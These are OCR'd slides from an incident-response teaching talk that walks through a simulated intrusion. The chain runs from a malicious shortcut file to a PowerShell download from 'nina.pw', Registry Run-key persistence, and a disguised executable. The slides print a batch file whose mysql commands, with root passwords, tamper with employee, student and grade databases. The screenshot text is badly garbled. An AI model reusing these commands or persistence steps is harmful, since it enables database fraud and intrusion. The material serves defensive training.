N T | el e SN M
@ | V . | ﬁi‘h | 4 ¥ Process Monitor Filter >
Operation
¥ QueryBasiclnfor..C\Windows] Display entries matching these conditions:
X1 L
: g.j:;gl:siclrﬁnr...g;":'?2:'-'”?;2: Architecture || is e then |Include e
r CloseFile C:ATemp CP
2 Load Image CWindows) Reset Add Remove
2 Thread Create
m CreateFile CWindows)
= QuerySecurityFile C:\Windows| | colymn Relation Value Action A
- X1 L
: SLDIEEFS]ECUW Fie 51:3:232::\ i Process N... contains CPU_SL@ Include
# QueryNamelnfo..C:\Temp \CP @ Process N... is Procexp exe Exclude
r ReadFile CAWindows] @ Process N... s Autoruns.exe Exclude
r ReadFile C:\Windows| | /1€ Process N... is ProcmonB4.exe Exclude
= ReadFile CA\Windows) @ Process N... is Procexpbd exe Exclude
s ReadFile C::-_:.".u'indnws: 1€ Process N... is System Exclude
: gr?a?;l“ﬁe E_'Fi pn?jnws ‘3 Operation beqins with IRP_MJ_ Exclude i
m QuenyDirectory C:ATempt” )
m QuenyDirectory C:A\Temp OK Cancel Apply
m QuenyDirectory  ChTemp
r CloseFile CiTemp SUCCESS
m ReadFile C: Windows \SysWOWES \msvert dll SUCCESS Offset: 517120, Le...
ReadFile C \Windows  SysWOWES \msvert dll SUCCESS Offset: 304 128, Le..
reateFile C:KUsemKIEUSEr\Lee_Gandhi.baﬂ SUCCESS Desired Access: G...
r ReadFile C '\ Windows  SysWOWE4 KemelBase dil SUCCESS Offset: 1315 840, ...
r ReadFile C:h .".n'lnu:h:uws Sy .".n'O‘.".n'E-d vmzvert.dll SUCCESS Offset: 488 448, Le...
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Hands-On - Dynamic Analysis

CPU_Sugma.exe

File Edit Event Filter Tools Options Help

AR TYAO| & 7 [Eovommotne
E? L d r\" @ 5!'5 4 B¥ Process Monitor Filter x
Time ... Process Mame PID  Operation Path
08:01.... W-CPU_Sugmaexe 3832 F QueryBasicinfor. C\Windows] Display entries matching these conditions:
03:01:... W-CPU_Sugmaexe 3832 T Closefile C\Windows] Architect o|; » v| th Includ »
08:01:... W-CPU_Sugmaexe 3832 T QueryBasicinfor...C:\Temp'CP renitecture = S e
08:01:... W-CPU_Sugmaexe 3832 fm CloseFile C:ATemp CP
08:01.... 'W-CPU_Sugmaexe 3832 ¢®load Image C:\Windows] Recet Add Remave
02:01:... 'W-CPU_Sugmaexe 3832 % Thread Create
08:01:... W-CPU_Sugmaexe 3832 i CreateFie C: '\ Windows]
08:01:... W-CPU_Sugmaexe 3832 lm GuerySecurtyFile C:\Windows] Column Relation Value Actian s
08:01:... W-CPU_Sugmaexe 3832 ' GuerySecurtyFile C:\Windows) ) '_—] ]
08:01-.. WCPU_Sugmaexe 3832 % CloseFile C-\Windows| | 1@ Process N.. contans __CRU Suczammg
03:01:... W-CPU_Sugmaexe 3832 ‘= QueryNamelnfo...C:\Temp'CP @_E‘E@Sil“ e
08:01:... W-CPU_Sugmaexe 3832 & Readfile  CoiMlindtn . I
08:01:.. W CPU_Sugma.exe 29375 - Closetile C\lem \SYSWOWMWS“m'd
0801-.. I ‘PU_Sugma .exe 383l = JFie
0301:.. 4 gy W CPU_ e 3832 uRe2d™
01 B g0t WCPUSUWIME T Con) e Readfie ;
o1 A o1, W CPU_Sugmaexe 2 PliCreateFie
01-... 08:01:... & ama exe 3832 ¥ _ Apply
08:01:... ° 01- &CPU,SUQ : 1832 " ReadFile y
og01-. w0801 Sugma exe e AFil
08:01:.. Wi ng-01 §-CPU_Su9 <o 333228 Beach!
08:01:... . . CPll_Suoma e e SUCCESS Offset: 517120, Le...
03:01: Svindows \SysWOWES \msvert dll SUCCESS Offset: 304 128, Le..
03:01: e II::"..Usv.a-rs‘klEUsv.a-r"kLe«E:_Gar1|::|hi.I::.ﬂl_,.l SUCCESS Desired Access: ...
03:01:... CPU_Sugmaexe 3332 ‘= ReadFile C '\ Windows  SysWOWE4 KemelBase dil SUCCESS Offset: 1315 840, ...
08:01:.... W-CPU_Sugmaexe 3832 'm ReadFile C\Windows  SysWOWES \msvert dll SUCCESS Offset: 488 4438 Le..
ii Hi _. Pl il i ey BRT - 1 Fat L1 1Ll 1 [THEN T " L S T T " fa? 1 11 4
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The Findings so far

1) Auser opened a mail which contained a malicious Shortcut File (.LNK).

2) The malware within the mail executed and downloaded a Powershell Script “Registry
Backdoor.ps1” from “nina.pw”.

3) The RegistryBackdoor.ps1 set a Run-Registry Persistence Key which executes every User-
Logon.

4) The Run-Key "Google_Update_OneDrive” starts another powershell script
(“sys_lTgma.ps1”)

5) The powershell script downloads a .PNG File (sugma.png) from “nina.pw”.
6) The .PNG File (sugma.png) seems to be an executable (CPU_Sugma.exe).
7) The executable CPU_Sugma.exe was executed from the C:\temp folder (on 16.05) .

8) The executable CPU_Sugma.exe creates a .BAT File named “Lee-Gandhi.bat".
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07

Summary of the Attack
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g
<—RegistryBackdoor.psl

<«——sugma.png

’ . ’ Execution of
.LNK File————» b CPU_Sugma.exe (which is sugma.png)

C/ CPU_Sugma.exe creates

Persistence (Registry Run Lee_Gandhi.bat
Key)
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O 8 Final .bat File Analysis
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Final HandsOn - 7 Final
LeeGandhi.bat

Zip - Password: cdc

Question:

What does LeeGandhi.bat do? (pls do not
execute this file ©)
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Hands-On - LeeGandhi.bat

5 Lee_Gandhibt £
h anujleﬁﬁuq,dtcll teDB. FhCampusWien. local
1 -u root -p "Using DES and RC4 BeforeItWasCoo
1tar) VALUES 'Gideon', 'Lektor' , 'Incident Response 101', 1 000 000, 'AT1234567890', 'Please :)?2' )

1!™ -e "INSERT INTO Angestellte (Name, Titel, Fach, MonatsGehalt,Bankverbindung,

h aPlank@StudierendenDB.FhCampusWien.local
1 -u root -p "ForRockAndStone !™ -e "UPDATE studierende; set size in cm=160; where name==Nina AND size in cm<140"

h mKoschuch@notendatenbank.FhCampusWien.local

-u root -p "DiffieHellManIsLife 1337!"™ -e "UPDATE notendatenbank; set note=1; where Fach==kryptographie AND std richtung==%ITTK:"
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The Findings so far

1) Auser opened a mail which contained a malicious Shortcut File (.LNK).

2) The malware within the mail executed and downloaded a Powershell Script “Registry
Backdoor.ps1” from “nina.pw”.

3) The RegistryBackdoor.ps1 set a Run-Registry Persistence Key which executes every User-
Logon.

4) The Run-Key "Google_Update_OneDrive” starts another powershell script
(“sys_lTgma.ps1”)

5) The powershell script downloads a .PNG File (sugma.png) from “nina.pw”.

6) The .PNG File (sugma.png) seems to be an executable (CPU_Sugma.exe).

7) The executable CPU_Sugma.exe was executed from the C:\temp folder (on 16.05) .
8) The executable CPU_Sugma.exe creates a .BAT File named “Lee-Gandhi.bat".

9) The Lee-Gandhi.bat File has code to alter the FHs Database.




m Outro
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We Want You!!111

Looking for Cyber Defense Warriors
Cyber Security Analysts (Austria - FT - 50k+)
Senior Cyber Security Analysts (Austria - FT - 70k+)
Sadly, likely no CDC internships left this year :'(

Ping us in case of interest:

 Nina.Azimikhah@k-business.com
She is the nicer one

but - increased risk of mistyping her mail address

 Gideon.Teubert@k-business.com
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Golckel (Golden Retr. + Dackel)
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Quelle: https://www.holidogtimes.com/de/15-dackel-mischlinge-die-ihr-ganz-bestimmt-noch-nie-gesehen-habt/



Gideon Teubert, MSc

Senior Cyber Security Analyst & Incident Response Lead

Cyber Defense Center

K-BusinessCom AG (ehm. Kapsch)

WienerbergstraBe 53
1120 Wien | Osterreich

Gideon.Teubert@k-business.com
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Nina Azimikhah, MSc

Senior Cyber Security Analyst & Threat Intel Lead
Cyber Defense Center

K-BusinessCom AG (ehm. Kapsch)
WienerbergstraBe 53
1120 Wien | Osterreich

Nina.Azimikhah@k-business.com

www.kapsch.net

www.kapsch.net
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